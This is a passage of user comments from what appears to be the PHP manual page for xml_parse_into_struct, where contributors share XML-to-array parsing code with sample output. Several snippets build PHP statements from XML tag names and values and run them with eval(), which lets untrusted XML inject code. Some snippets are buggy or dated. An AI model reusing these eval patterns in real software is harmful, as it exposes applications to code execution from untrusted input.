                if(array_key_exists($val['tag'], $stack)){
                    $this->duplicateKeys[$val['tag']] = 0;
                }
            } elseif($val['type'] == "complete") {
                //if array key is duplicate then send in increment
                if(array_key_exists($val['tag'], $this->duplicateKeys)){
                    array_push($stack, $this->duplicateKeys[$val['tag']]);
                    $this->duplicateKeys[$val['tag']]++;
                }
                else{
                    // else send in tag
                    array_push($stack,  $val['tag']);
                }
                $this->setArrayValue($this->output, $stack, $val['value']);
                array_pop($stack);
            }
            $increment++;
        }

        $this->status = 'success: xml was parsed';
        return true;

    }

    private function findDuplicateKeys(){

        for($i=0;$i < count($this->valueArray); $i++) {
            // duplicate keys are when two complete tags are side by side
            if($this->valueArray[$i]['type'] == "complete"){
                if( $i+1 < count($this->valueArray) ){
                    if($this->valueArray[$i+1]['tag'] == $this->valueArray[$i]['tag'] && $this->valueArray[$i+1]['type'] == "complete"){
                        $this->duplicateKeys[$this->valueArray[$i]['tag']] = 0;
                    }
                }
            }
            // also when a close tag is before an open tag and the tags are the same
            if($this->valueArray[$i]['type'] == "close"){
                if( $i+1 < count($this->valueArray) ){
                    if(    $this->valueArray[$i+1]['type'] == "open" && $this->valueArray[$i+1]['tag'] == $this->valueArray[$i]['tag'])
                        $this->duplicateKeys[$this->valueArray[$i]['tag']] = 0;
                }
            }

        }

    }

    private function setArrayValue(&$array, $stack, $value){
        if ($stack) {
            $key = array_shift($stack);
            $this->setArrayValue($array[$key], $stack, $value);
            return $array;
        } else {
            $array = $value;
        }
    }

    public function getOutput(){
        return $this->output;
    }

    public function getStatus(){
        return $this->status;
    }

}

?>

Usage:

$p = new XMLParser($xml);
$p->getOutput();
Alf Marius Foss Olsen 12-Sep-2007 06:46
<?php
/*
  An easy lightweight (Array ->) XML -> Array algorithm..

  Typical case: You have an array you want to export to an external server,
                so you make XML out of it, exports it, and "on the other side"
                make it into an array again. These two functions will take care
                of that last part, ie XML -> Array

  NOTE! The function XMLToArray assumes that the XML _dont_ have nodes on the
        same level with the same name, then it just wont work. This is not a
        problem, as this case deals with Array -> XML -> Array, and an array
        cant have to identical indexes/keys.
*/

function XMLToArray($xml) {
  $parser = xml_parser_create('ISO-8859-1'); // For Latin-1 charset
  xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, 0); // Dont mess with my cAsE sEtTings
  xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1); // Dont bother with empty info
  xml_parse_into_struct($parser, $xml, $values);
  xml_parser_free($parser);

  $return = array(); // The returned array
  $stack = array(); // tmp array used for stacking
  foreach($values as $val) {
    if($val['type'] == "open") {
      array_push($stack, $val['tag']);
    } elseif($val['type'] == "close") {
      array_pop($stack);
    } elseif($val['type'] == "complete") {
      array_push($stack, $val['tag']);
      setArrayValue($return, $stack, $val['value']);
      array_pop($stack);
    }//if-elseif
  }//foreach
  return $return;
}//function XMLToArray

function setArrayValue(&$array, $stack, $value) {
  if ($stack) {
    $key = array_shift($stack);
    setArrayValue($array[$key], $stack, $value);
    return $array;
  } else {
    $array = $value;
  }//if-else
}//function setArrayValue

// USAGE:
$xml = <<<QQQ
<?xml version="1.0"?>
<root>
  <node1>Some text</node1>
  <node2a>
    <node2b>
      <node2c>Some text</node2c>
    </node2b>
  </node2a>
</root>\n
QQQ;
$array = XMLToArray($xml);
print "<pre>";
print_r($array);
print "</pre>";
//  Output:
//
//  Array
//  (
//      [root] => Array
//          (
//              [node1] => Some text
//              [node2a] => Array
//                  (
//                      [node2b] => Array
//                          (
//                              [node2c] => Some text
//                          )
//                  )
//          )
//  )
?>
vinod at citadel-soft dot com 01-Sep-2007 03:43
My previous code was having some bugs in, that is fixed now

<?php
class CSLXmlReader {
    private $tagstack;
    private $xmlvals;
    private  $xmlvarArrPos;
    private $xmlfile;
    function __construct($filename)  // constructor to intialize the stack and val array
    {

        $this->tagstack = array();   // contain the open tags till now
        $this->xmlvals = array();
        $this->xmlvarArrPos = $this->xmlvals;  // temporary variable to hold the current tag position
        $this->xmlfile = $filename;
    }
    function readDatabase()
    {
        // read the XML database
        $data = implode("", file($this->xmlfile));
        $parser = xml_parser_create();
        xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, 0);
        xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1);
        xml_parse_into_struct($parser, $data, $values, $tags);
        xml_parser_free($parser);

        foreach($values as $key => $val)  //
        {
            if($val['type'] == "open")
            {
                array_push($this->tagstack, $val['tag']);
                $this->getArrayPath();
                if(count($this->xmlvarArrPos) > 0 && (!array_key_exists(0,$this->xmlvarArrPos)))
                {
                    $temp1 = $this->xmlvarArrPos;
                    $this->xmlvarArrPos =  array();
                    $this->xmlvarArrPos[0] = $temp1;
                    array_push($this->tagstack, 1);
                }
                else if( array_key_exists(0,$this->xmlvarArrPos)){
                    $opncount = count($this->xmlvarArrPos);
                    array_push($this->tagstack, $opncount);
                }
                $tagStackPointer += 1;
            }else if($val['type'] == "close")
            {
                while( $val['tag'] != ($lastOpened = array_pop($this->tagstack))){}
            }else if($val['type'] ==  "complete")
            {
                $this->getArrayPath();
                if( array_key_exists($val['tag'],$this->xmlvarArrPos))
                {
                    if(array_key_exists(0,$this->xmlvarArrPos[$val['tag']]))
                    {
                        $elementCount = count($this->xmlvarArrPos[$val['tag']]);
                        $this->xmlvarArrPos[$val['tag']][$elementCount] = $val['value'];
                    }else
                    {
                        $temp1 = $this->xmlvarArrPos[$val['tag']];
                        $this->xmlvarArrPos[$val['tag']] =  array();
                        $this->xmlvarArrPos[$val['tag']][0] = $temp1;
                        $this->xmlvarArrPos[$val['tag']][1] = $val['value'];
                    }
                } else
                {
                    $this->xmlvarArrPos[$val['tag']] = $val['value'];
                }
            }
        }
        reset($this->xmlvals);
        return $this->xmlvals;
    }
    function getArrayPath()
    {

        reset($this->xmlvals);
        $this->xmlvarArrPos = &$this->xmlvals;
        foreach($this->tagstack as $key)
        {
            $this->xmlvarArrPos = &$this->xmlvarArrPos[$key];

        }
    }

}

$readerObj  = new CSLXmlReader("test.xml");
$xmlvals = $readerObj->readDatabase();

echo "########## XML Values In array as the multidimentional array  #############\n";
echo "<pre>";
print_r($xmlvals);
echo "</pre>";

?>
siteres at gmail dot com 07-Feb-2007 01:38
PHP: XML to Array and backwards:

Here the XML with PHP solution: XML->Array and Array->XML.
Work with it as with usual array.

Sources are here:
http://mysrc.blogspot.com/2007/02/php-xml-to-array-and-backwards.html
(leave me comments:)

Example #1 (1.xml):

<ddd>
 <onemore dd="55">
  <tt>333</tt>
  <tt ss="s1">555</tt>
  <tt>777</tt>
 </onemore>
 <two>sdf rr</two>
</ddd>

The code:

$xml=xml2ary(file_get_contents('1.xml'));
print_r($xml);

Here is the Array result:

Array
(
   [ddd] => Array (
           [_c] => Array (
                   [_p] => Array *RECURSION*
                   [onemore] => Array (
                           [_a] => Array (
                                   [dd] => 55
                               )
                           [_c] => Array (
                                   [_p] => Array  *RECURSION*
                                   [tt] => Array (
                                           [0] => Array (
                                                   [_v] => 333
                                               )
                                           [1] => Array (
                                                   [_a] => Array (
                                                           [ss] => s1
                                                       )
                                                   [_v] => 555
                                               )
                                           [2] => Array (
                                                   [_v] => 777
                                               )
                                       )
                               )
                       )
                   [two] => Array (
                           [_v] => sdf rr
                       )
               )
       )
)
webmaster at after5webdesign dot com 30-Nov-2006 04:48
That parser also has a problem in which it will not parse more items than the current level it is on. That is, parsing this:  <1><2>A</2><2>B</2><2>C</2></1>
Will only result in this: A B
C is never processed.

It might be better with something like this:
          $file = get_url('http://news.search.yahoo.com/news/rss?p=current+events', URL_CONTENT);
          $data = $file['content'];
          $xml_parser = xml_parser_create();
          xml_parse_into_struct($xml_parser, $data, $vals, $index);
          xml_parser_free($xml_parser);
          //Uncomment the lines below to see the entire structure of your XML document
          //echo "<pre>INDEX: \n";
          //print_r ($index);
          //echo "\n \n \n VALUES:";
          //print_r ($vals);
          //echo "</pre>";
          $params = array();
          $level = array();
          $start_level = 1;
          foreach ($vals as $xml_elem) {
            if ($xml_elem['type'] == 'open') {
              if (array_key_exists('attributes',$xml_elem)) {
                list($level[$xml_elem['level']],$extra) = array_values($xml_elem['attributes']);
              } else {
                $level[$xml_elem['level']] = $xml_elem['tag'];
              }
            }
            if ($xml_elem['type'] == 'complete') {
              $php_stmt = '$params';
              while($start_level < $xml_elem['level']) {
                $php_stmt .= '[$level['.$start_level.']]';
                $start_level++;
              }
              $php_stmt .= '[$xml_elem[\'tag\']][] = $xml_elem[\'value\'];';
              eval($php_stmt);
              $start_level--;
            }
          }
          echo "<pre>";
          print_r ($params);
          echo "</pre>";

~Tim_Myth
Elad Elrom 12-Sep-2006 02:14
This is a quick fix for parsing XML from remote URL, some of the example above will work when trying to parse on your local server without "http://" but not when trying to parse from remote server using "http://www.URL"...

<?
$file="http://www.URL.com/file.XML";

$xml_parser = xml_parser_create();

$handle = fopen($file, "rb");
$contents = '';
while (!feof($handle)) {
  $data .= fread($handle, 8192);
}
fclose($handle);

xml_parse_into_struct($xml_parser, $data, $vals, $index);
xml_parser_free($xml_parser);

$params = array();
$level = array();
foreach ($vals as $xml_elem) {
  if ($xml_elem['type'] == 'open') {
   if (array_key_exists('attributes',$xml_elem)) {
     list($level[$xml_elem['level']],$extra) = array_values($xml_elem['attributes']);
   } else {
     $level[$xml_elem['level']] = $xml_elem['tag'];
   }
  }
  if ($xml_elem['type'] == 'complete') {
   $start_level = 1;
   $php_stmt = '$params';
   while($start_level < $xml_elem['level']) {
     $php_stmt .= '[$level['.$start_level.']]';
     $start_level++;
   }
   $php_stmt .= '[$xml_elem[\'tag\']] = $xml_elem[\'value\'];';
   eval($php_stmt);
  }
}

echo "<pre>";
print_r ($params);
echo "</pre>";
?>
efredricksen at gmail dot com 24-May-2006 12:55
Perhaps the one true parser:? I modified xademax's fine code to tidy it up, codewise and style wise, rationalize some minor crazyness, and make names fit nomenclature from the XML spec. (There are no uses of eval, and shame on you people who do.)

<?php
class XmlElement {
  var $name;
  var $attributes;
  var $content;
  var $children;
};

function xml_to_object($xml) {
  $parser = xml_parser_create();
  xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, 0);
  xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1);
  xml_parse_into_struct($parser, $xml, $tags);
  xml_parser_free($parser);

  $elements = array();  // the currently filling [child] XmlElement array
  $stack = array();
  foreach ($tags as $tag) {
    $index = count($elements);
    if ($tag['type'] == "complete" || $tag['type'] == "open") {
      $elements[$index] = new XmlElement;
      $elements[$index]->name = $tag['tag'];
      $elements[$index]->attributes = $tag['attributes'];
      $elements[$index]->content = $tag['value'];
      if ($tag['type'] == "open") {  // push
        $elements[$index]->children = array();
        $stack[count($stack)] = &$elements;
        $elements = &$elements[$index]->children;
      }
    }
    if ($tag['type'] == "close") {  // pop
      $elements = &$stack[count($stack) - 1];
      unset($stack[count($stack) - 1]);
    }
  }
  return $elements[0];  // the single top-level element
}

// For example:
$xml = '
<parser>
   <name language="en-us">Fred Parser</name>
   <category>
       <name>Nomenclature</name>
       <note>Noteworthy</note>
   </category>
</parser>
';
print_r(xml_to_object($xml));
?>

will give:

xmlelement Object
(
    [name] => parser
    [attributes] =>
    [content] =>
    [children] => Array
        (
            [0] => xmlelement Object
                (
                    [name] => name
                    [attributes] => Array
                        (
                            [language] => en-us
                        )

                    [content] => Fred Parser
                    [children] =>
                )

            [1] => xmlelement Object
                (
                    [name] => category
                    [attributes] =>
                    [content] =>
                    [children] => Array
                        (
                            [0] => xmlelement Object
                                (
                                    [name] => name
                                    [attributes] =>
                                    [content] => Nomenclature
                                    [children] =>
                                )

                            [1] => xmlelement Object
                                (
                                    [name] => note
                                    [attributes] =>
                                    [content] => Noteworthy
                                    [children] =>
                                )

                        )

                )

        )

)
Stuart 23-May-2006 03:26
This is a great little function for a lot of XML work, but note that this function does not handle XML entities properly.

The basic XML entities &lt; &gt; &amp; &quot; are fine, just anything else will not work:

If the entity is defined in the XML header, the parser will drop it completely from the struct it creates.

If the entity is not defined in the XML then the parser will crash out with an undefined entity error.

You should be able to work around this limitation by using a preg_replace on your XML string before passing it to the parser.

(Further details in Bug #35271; this is just a warning to those thinking of using this function for parsing real XML documents not just trivial XML examples)
xademax at gmail dot com 08-Jan-2006 12:15
This is just another simple xml parser :)

<?php

class Xml
{
    var $tag;
    var $value;
    var $attributes;
    var $next;
}

function xml2array($xml_string)
{
    $Parser = xml_parser_create();
    xml_parser_set_option($Parser, XML_OPTION_CASE_FOLDING, 0);
    xml_parser_set_option($Parser, XML_OPTION_SKIP_WHITE, 1);
    xml_parse_into_struct($Parser, $xml_string, $Xml_Values);
    xml_parser_free($Parser);
    $XmlClass = array();
    $LastObj = array();
    $NowObj = &$XmlClass;

    foreach($Xml_Values as $Xml_Key => $Xml_Value)
    {
        $Index = count($NowObj);
        if($Xml_Value["type"] == "complete")
        {
            $NowObj[$Index] = new Xml;
            $NowObj[$Index]->tag = $Xml_Value["tag"];
            $NowObj[$Index]->value = $Xml_Value["value"];
            $NowObj[$Index]->attributes = $Xml_Value["attributes"];
        }
        elseif($Xml_Value["type"] == "open")
        {
            $NowObj[$Index] = new Xml;
            $NowObj[$Index]->tag = $Xml_Value["tag"];
            $NowObj[$Index]->value = $Xml_Value["value"];
            $NowObj[$Index]->attributes = $Xml_Value["attributes"];
            $NowObj[$Index]->next = array();
            $LastObj[count($LastObj)] = &$NowObj;
            $NowObj = &$NowObj[$Index]->next;
        }
        elseif($Xml_Value["type"] == "close")
        {
            $NowObj = &$LastObj[count($LastObj) - 1];
            unset($LastObj[count($LastObj) - 1]);
        }

    }

    return $XmlClass;
}

$String = "
<parser>
    <parseur_name>MyParser</parseur_name>
    <category>
        <name>Name 1</name>
        <note>A note 1</note>
    </category>
</parser>
";
$Xml = xml2array($String);

print_r($Xml);
?>

This exemple will show :
Array
(
    [0] => Xml Object
        (
            [tag] => parser
            [value] =>
            [attributes] =>
            [next] => Array
                (
                    [0] => Xml Object
                        (
                            [tag] => parseur_name
                            [value] => MyParser
                            [attributes] =>
                            [next] =>
                        )

                    [1] => Xml Object
                        (
                            [tag] => category
                            [value] =>
                            [attributes] =>
                            [next] => Array
                                (
                                    [0] => Xml Object
                                        (
                                            [tag] => name
                                            [value] => Name 1
                                            [attributes] =>
                                            [next] =>
                                        )

                                    [1] => Xml Object
                                        (
                                            [tag] => note
                                            [value] => A note 1
                                            [attributes] =>
                                            [next] =>
                                        )

                                )

                        )

                )

        )

)
mbirth at webwriters dot de 08-Nov-2005 03:48
Searching for a nice and working way to get a RSS feed into an array-structure, I found the solution posted by kieran but disliked those several eval()s. So I wrote my own using references/pointers.

<?php

class RSSParser {

  var $struct = array();  // holds final structure
  var $curptr;  // current branch on $struct
  var $parents = array();  // parent branches of current branch

  function RSSParser($url) {
    $this->curptr =& $this->struct;  // set ref to base
    $xmlparser = xml_parser_create();
    xml_set_object($xmlparser, $this);
    xml_set_element_handler($xmlparser, 'tag_open', 'tag_close');
    xml_set_character_data_handler($xmlparser, 'cdata');
    $fp = fopen($url, 'r');

    while ($data = fread($fp, 4096))
      xml_parse($xmlparser, $data, feof($fp))
      || die(sprintf("XML error: %s at line %d",
         xml_error_string(xml_get_error_code($xmlparser)),
         xml_get_current_line_number($xmlparser)));

    fclose($fp);
    xml_parser_free($xmlparser);
  }

  function tag_open($parser, $tag, $attr) {
    $i = count($this->curptr['children']);
    $j = count($this->parents);
    $this->curptr['children'][$i]=array();  // add new child element
    $this->parents[$j] =& $this->curptr;  // store current position as parent
    $this->curptr =& $this->curptr['children'][$i];  // submerge to newly created child element
    $this->curptr['name'] = $tag;
    if (count($attr)>0) $this->curptr['attr'] = $attr;
  }

  function tag_close($parser, $tag) {
    $i = count($this->parents);
    if ($i>0) $this->curptr =& $this->parents[$i-1];  // return to parent element
    unset($this->parents[$i-1]);  // clear from list of parents
  }

  function cdata($parser, $data) {
    $data = trim($data);
    if (!empty($data)) {
      $this->curptr['value'] .= $data;
    }
  }

}

$myparser = new RSSParser('getitems.xml');
$anotherparser = new RSSParser('http://johndoe:secret@myfeeds.com/getfeed.xml');

print_r($myparser->struct);
print_r($anotherparser->struct);

?>
kieran at kieran dot ca 20-Oct-2005 09:20
<?
/*
|
| _xml2array - another abstraction layer on xml_parse_into_struct
|              that returns a nice nested array.
|
|      @param: $xml is a string containing a full xml document
|
|     returns: a nested php array that looks like this:
|
|              array
|              (
|                  [_name] => the name of the tag
|                  [_attributes] => an array of 'attribute'=>'value' combos
|                  [_value] => the text contents of the node
|                  [_children] => an array of these arrays, one for each node.
|              )
|
|       notes: thanks to 'jeffg at activestate dot com' who inspired
|              me to essentially re-write his example code from php.net
|
|           me: Kieran Huggins < kieran[at]kieran[dot]ca >
|
*/
function _xml2array($xml){
    global $keys;
    global $level;
    if(!is_array($xml)){ // init on first run
        $raw_xml = $xml;
        $p = xml_parser_create();
        xml_parser_set_option($p, XML_OPTION_CASE_FOLDING, 0);
        xml_parser_set_option($p, XML_OPTION_SKIP_WHITE, 1);
        xml_parse_into_struct($p, $raw_xml, $xml, $idx);
        xml_parser_free($p);
    }
    for($i=0;$i<count($xml,1);$i++){
        // set the current level
        $level = $xml[$i]['level'];

        if($level<1)break;

        // mark this level's tag in the array
        $keys[$level] = '['.$i.']';

        // if we've come down a level, sort output and destroy the upper level
        if(count($keys)>$level) unset($keys[count($keys)]);

        // ignore close tags, they're useless
        if($xml[$i]['type']=="open" || $xml[$i]['type']=="complete"){

            // build the evalstring
            $e = '$output'.implode('[\'_children\']',$keys);

            // set the tag name
            eval($e.'[\'_name\'] = $xml[$i][\'tag\'];');

            // set the attributes
            if($xml[$i]['attributes']){
                eval($e.'[\'_attributes\'] = $xml[$i][\'attributes\'];');
            }

            // set the value
            if($xml[$i]['value']){
                eval($e.'[\'_value\'] = trim($xml[$i][\'value\']);');
            }

        }

    }

    return $output;
}
?>
Chris Hester 28-Jul-2005 05:06
The array generated from XML stores not only the elements but also any spaces and linebreaks between the tags. This results in a much longer array. (I had 24 array fields instead of 10!) To cure this use the following code when creating the parser:

<?php
$xml_parser = xml_parser_create();
xml_parser_set_option($xml_parser,XML_OPTION_SKIP_WHITE,1);
?>
PhF at madmac dot fr 23-Jun-2005 01:11
The code previously posted by noob at noobsrule dot com doesn't work when the same tag name is used at different levels.
(but perhaps "$php_used_prefix" was intended for that ?)
For example:
<RatedShipment>
  <TransportationCharges>
    ...
  </TransportationCharges>
  <RatedPackage>
    <TransportationCharges>
      ...
    </TransportationCharges>
  </RatedPackage>
</RatedShipment>
<?php
    $p = xml_parser_create();
    xml_parser_set_option($p, XML_OPTION_CASE_FOLDING, 0);
    xml_parser_set_option($p, XML_OPTION_SKIP_WHITE, 1);
    xml_parse_into_struct($p, $UPSxml, $values, $idx);
    xml_parser_free($p);

    // tracking used keys
    $usedKeys = array();
    $deepLevel = -1;

    // start a php array string (evaluated later)
    $forEvalPrefix = '$xml_array';

    // loop throught the value array
    foreach ($values as $key => $val) {
        $tagName = $val['tag']; // pass the key tag into a more friendly looking variable
        $level = $val['level']; // idem
        if($val['type'] == 'open') {
            $deepLevel++; // increase deep level
            $forEvalPrefix .= '[\''. $tagName .'\']';

            // begin used keys checks to allow multidimensionatity under the same tag
            (isset($usedKeys[$level][$tagName])) ? $usedKeys[$level][$tagName]++ : $usedKeys[$level][$tagName] = 0;
            $forEvalPrefix .= '['. $usedKeys[$level][$tagName] .']';
        }
        if($val['type'] == 'complete') {
            ($level > $deepLevel) ? $deepLevel++ : ''; // increase $deepLevel only if current level is bigger
            $tagValue = addslashes($val['value'] ); // format the value for evaluation as a string
            $forEvalSuffix = '[\''. $tagName .'\'] = \''. $tagValue .'\';'; // create a string to append to the current prefix
            $forEval = $forEvalPrefix . $forEvalSuffix; // (without "$php_used_prefix"...)
            eval($forEval); // write the string to the array structure
        }
        if($val['type'] == 'close') {
            unset($usedKeys[$deepLevel]); // Suppress tagname's keys useless
            $deepLevel--;
            $forEvalPrefix = substr($forEvalPrefix, 0, strrpos($forEvalPrefix, '[')); // cut off the used keys node
            $forEvalPrefix = substr($forEvalPrefix, 0, strrpos($forEvalPrefix, '[')); // cut off the end level of the array string prefix
        }
    }
echo '<pre>';
print_r ($xml_array);
echo '</pre>';
?>

MADmac ;-)
peter at elemental dot org 15-Jun-2005 08:46
Quick addendum to my post below... The code does *not* handle cases where multiple elements are used without attribute IDs, as is the case with the moldb example.  (It is probably worth noting that some of the other code below doesn't do this either, and is still more complex.)

It is not difficult to add that functionality, but I have yet to find an elegant way to integrate that feature, and since I don't need that functionality at the moment, I'm going leave that as an exercise to the reader.  ;-)

-p.
peter at elemental dot org 14-Jun-2005 04:09
Some of the code posted previously seemed absurdly complex, so I thought I'd see if I could simplify things a bit. Here's what I came up with.  (I'm still a PHP newbie, so perhaps I simplified too much.  ;-)  Untested for speed, but it *should* be pretty quick since it uses references instead of lookups or (gack) evals.

Enjoy!

/*
 *  Convert a string containing XML into a nested array
 *
 *  Takes a raw XML string as input
 *  Returns a nested array
 */

function xml2array ($xml_data)
{
    // parse the XML datastring
    $xml_parser = xml_parser_create ();
    xml_parse_into_struct ($xml_parser, $xml_data, $vals, $index);
    xml_parser_free ($xml_parser);

    // convert the parsed data into a PHP datatype
    $params = array();
    $ptrs[0] = & $params;
    foreach ($vals as $xml_elem) {
        $level = $xml_elem['level'] - 1;
        switch ($xml_elem['type']) {
        case 'open':
            $tag_or_id = (array_key_exists ('attributes', $xml_elem)) ? $xml_elem['attributes']['ID'] : $xml_elem['tag'];
            $ptrs[$level][$tag_or_id] = array ();
            $ptrs[$level+1] = & $ptrs[$level][$tag_or_id];
            break;
        case 'complete':
            $ptrs[$level][$xml_elem['tag']] = (isset ($xml_elem['value'])) ? $xml_elem['value'] : '';
            break;
        }
    }

    return ($params);

}
noob at noobsrule dot com 24-Jan-2005 10:59
This is my first time contributing but I found all the examples either didn't work or were beyond my comprehension.  I also wanted to maintain the XML multi-dimensionality so I could do loops based on keys I was expecting rather than numbers or some other whatnot.  This script is probably way inefficient, but should give you a multidimensional array with a depth that will match the XML source.  Great for situations when you aren't sure what you'll be getting back.  Its also only based on the values array of xml_parse_into_str() using the 3 tag types (open, complete, and close) -- hopefully it will make more sense to other noobs.

Basically it just constructs a string ($php_prefix) that is tweaked if it hits an "open" or "close" tag and evaluated if it hits a "complete" tag.

Thanks.

<?php

# initiate curl session...
$ch = curl_init( "http://yourtargethost" ) or die ( "could not initialize curl" );

# set curl options...
curl_setopt( $ch, CURLOPT_HEADER, 0 );
curl_setopt( $ch, CURLOPT_POST, 1 );
curl_setopt( $ch, CURLOPT_POSTFIELDS, $request_str );
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 0 );
curl_setopt( $ch, CURLOPT_REFERER, https://foobar.com" );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );

# execute curl commands...
$curl_result = curl_exec( $ch ) or die ( "could not execute the post" );
curl_close( $ch ); // close curl session

# pass the XML result into 2 arrays ( index and values )...
$p = xml_parser_create();
xml_parser_set_option($p, XML_OPTION_CASE_FOLDING, 0);
xml_parser_set_option($p, XML_OPTION_SKIP_WHITE, 1);
xml_parse_into_struct($p, $curl_result, $vals, $index);
xml_parser_free($p);

# create an empty used key tracker...
$used_keys = array();

# start a php array string (evaluated later)...
$php_prefix = "$"."my_array";

# loop through the values array...
foreach ($vals as $key => $val) {
    if( $val['type'] == "open" ) {
        $my_tag = $val['tag']; // pass the key tag into a more friendly looking variable...
        $php_prefix .= "['".$my_tag."']"; # add a new level to the array string...

        # begin used key checks to allow multidimensionality under the same tag, adds a number to the prefix if necessary...
        if( ! array_key_exists( $my_tag, $used_keys ) ) {
            $used_keys[$my_tag] = 0;
            $php_prefix .= "[".$used_keys[$my_tag]."]";
        }else {
            $used_keys[$my_tag]++; // increment the key tracker to avoid overwriting existing key...
            $php_prefix .= "[".$used_keys[$my_tag]."]";
        }
    } elseif( $val['type'] == "complete" ) {
        $my_value = addslashes( $val['value'] ); # format the value for evaluation as a string...
        $php_suffix = "['".$val['tag']."'] = \"".$my_value."\";"; # create a string with the tag and value to append to the current prefix (just used here)...
        $php_str = $php_prefix.$php_used_prefix.$php_suffix;
        eval( $php_str ); # write the string to the array structure...
    }
    if( $val['type'] == "close" ) {
        $php_prefix = substr( $php_prefix, 0, strrpos( $php_prefix, "[" ) ); # cut off the used keys node...
        $php_prefix = substr( $php_prefix, 0, strrpos( $php_prefix, "[" ) ); # cut off the end level of the array string prefix...
    }
}

echo "<pre>";
//print_r ($index);
//echo "<br><br><br>";
//print_r ($vals);
//echo "<br><br><br>";
print_r ($my_array);
echo "</pre>";

?>
dudus at onet dot pl 18-Jan-2005 06:33
This function return array from XML. Included attributes and tags in same level.
I wrote this function based on mmustafa code.

enjoy!
dUDA

-------------------------------

<?
function XMLtoArray($XML)
{
    $xml_parser = xml_parser_create();
    xml_parse_into_struct($xml_parser, $XML, $vals);
    xml_parser_free($xml_parser);
    // wyznaczamy tablice z powtarzajacymi sie tagami na tym samym poziomie
    $_tmp='';
    foreach ($vals as $xml_elem)
    {
        $x_tag=$xml_elem['tag'];
        $x_level=$xml_elem['level'];
        $x_type=$xml_elem['type'];
        if ($x_level!=1 && $x_type == 'close')
        {
            if (isset($multi_key[$x_tag][$x_level]))
                $multi_key[$x_tag][$x_level]=1;
            else
                $multi_key[$x_tag][$x_level]=0;
        }
        if ($x_level!=1 && $x_type == 'complete')
        {
            if ($_tmp==$x_tag)
                $multi_key[$x_tag][$x_level]=1;
            $_tmp=$x_tag;
        }
    }
    // jedziemy po tablicy
    foreach ($vals as $xml_elem)
    {
        $x_tag=$xml_elem['tag'];
        $x_level=$xml_elem['level'];
        $x_type=$xml_elem['type'];
        if ($x_type == 'open')
            $level[$x_level] = $x_tag;
        $start_level = 1;
        $php_stmt = '$xml_array';
        if ($x_type=='close' && $x_level!=1)
            $multi_key[$x_tag][$x_level]++;
        while($start_level < $x_level)
        {
              $php_stmt .= '[$level['.$start_level.']]';
              if (isset($multi_key[$level[$start_level]][$start_level]) && $multi_key[$level[$start_level]][$start_level])
                  $php_stmt .= '['.($multi_key[$level[$start_level]][$start_level]-1).']';
              $start_level++;
        }
        $add='';
        if (isset($multi_key[$x_tag][$x_level]) && $multi_key[$x_tag][$x_level] && ($x_type=='open' || $x_type=='complete'))
        {
            if (!isset($multi_key2[$x_tag][$x_level]))
                $multi_key2[$x_tag][$x_level]=0;
            else
                $multi_key2[$x_tag][$x_level]++;
             $add='['.$multi_key2[$x_tag][$x_level].']';
        }
        if (isset($xml_elem['value']) && trim($xml_elem['value'])!='' && !array_key_exists('attributes',$xml_elem))
        {
            if ($x_type == 'open')
                $php_stmt_main=$php_stmt.'[$x_type]'.$add.'[\'content\'] = $xml_elem[\'value\'];';
            else
                $php_stmt_main=$php_stmt.'[$x_tag]'.$add.' = $xml_elem[\'value\'];';
            eval($php_stmt_main);
        }
        if (array_key_exists('attributes',$xml_elem))
        {
            if (isset($xml_elem['value']))
            {
                $php_stmt_main=$php_stmt.'[$x_tag]'.$add.'[\'content\'] = $xml_elem[\'value\'];';
                eval($php_stmt_main);
            }
            foreach ($xml_elem['attributes'] as $key=>$value)
            {
                $php_stmt_att=$php_stmt.'[$x_tag]'.$add.'[$key] = $value;';
                eval($php_stmt_att);
            }
        }
    }
     return $xml_array;
}    // END XMLtoArray
?>
happyseb at free dot fr 24-Aug-2004 08:51
I would just add something about the solution proposed by "gordon at kanazawa dot ac dot jp".

Something went wrong about the fact that "cdata" are treated the same way as "complete" in the xml_get_children first and in the xml_get_child then.

When ?
with this method, something like this :
<tagA>
  <tagB>valueB</tagB>
  valueA
  <tagC>valueC</tagC>
</tagA>
is considered as the same thing as
<tagA>
  <tagB>valueB</tagB>
  <tagA>valueA</tagA>
  <tagC>valueC</tagC>
</tagA>

The algorithm is nomore bijective.

Even if it might not be perfect :-) i propose a little modification of the xml_get_child function :

function xml_get_child(&$v, $children=NULL) {
      $c = array(); // the "child"
      if (isset($v['tag']) && $v['type'] != 'cdata') $c['tag'] = $v['tag'];
      if (isset($v['value'])) $c['value'] = $v['value'];
      if (isset($v['attributes'])) $c['attributes'] = $v['attributes'];
      if (is_array($children)) $c['children'] = $children;
      return $c;
}

moreover, the following function will take the tree (made from the xml_get_tree function) as a parameter and build the xml content back

    /*
    // setTree
    // set xml Tree from a well-formed array
    // manage indentation
    // Parameters are :
    // $1 (needed) : Tree to transform
    // $2 (optional) : Indentation type (default is one tabulation)
    // $3 (optional) : First indent (default is empty string)
    */

    function setTree($Atree, $indentType = '    ', $Sindent = '')
    {
      if (! isset ($Atree['tag']) && isset ($Atree['value'])) return ($Sindent.trim($Atree['value'])."\r\n") ;
      else {
        $Stemp = $Sindent.'<'.$Atree['tag'].' ' ;
        if (isset ($Atree['attributes']) && is_array ($Atree['attributes'])) {
          foreach ($Atree['attributes'] as $Aattribute => $Svalue) $Stemp .= $Aattribute.'="'.$Svalue.'" ' ;
        }
        if (! isset ($Atree['children']) && ! isset ($Atree['value'])) $Stemp .= '/>'."\r\n" ;
        else {
          $Stemp .= '>'."\r\n" ;
          if (isset ($Atree['value'])) $Stemp .= $Sindent.$indentType.trim($Atree['value'])."\r\n" ;
          if (isset ($Atree['children']) && is_array ($Atree['children']))
            foreach ($Atree['children'] as $Achild) $Stemp .= $this->setTree($Achild, $indentType, $Sindent.$indentType) ;
          $Stemp .= $Sindent.'</'.$Atree['tag'].'>'."\r\n" ;
        }
        return ($Stemp) ;
      }
    }
sdh33 at cornell dot edu 13-Jun-2004 10:12
(The previous post I wrote was incorrect.  I fix that herein)
I used the algorithm from stephane for writing back to a file, but ran into the following problem.  My original XML looks like

<ENTRY id="1"> ... </ENTRY><ENTRY id="2"> ... </ENTRY>

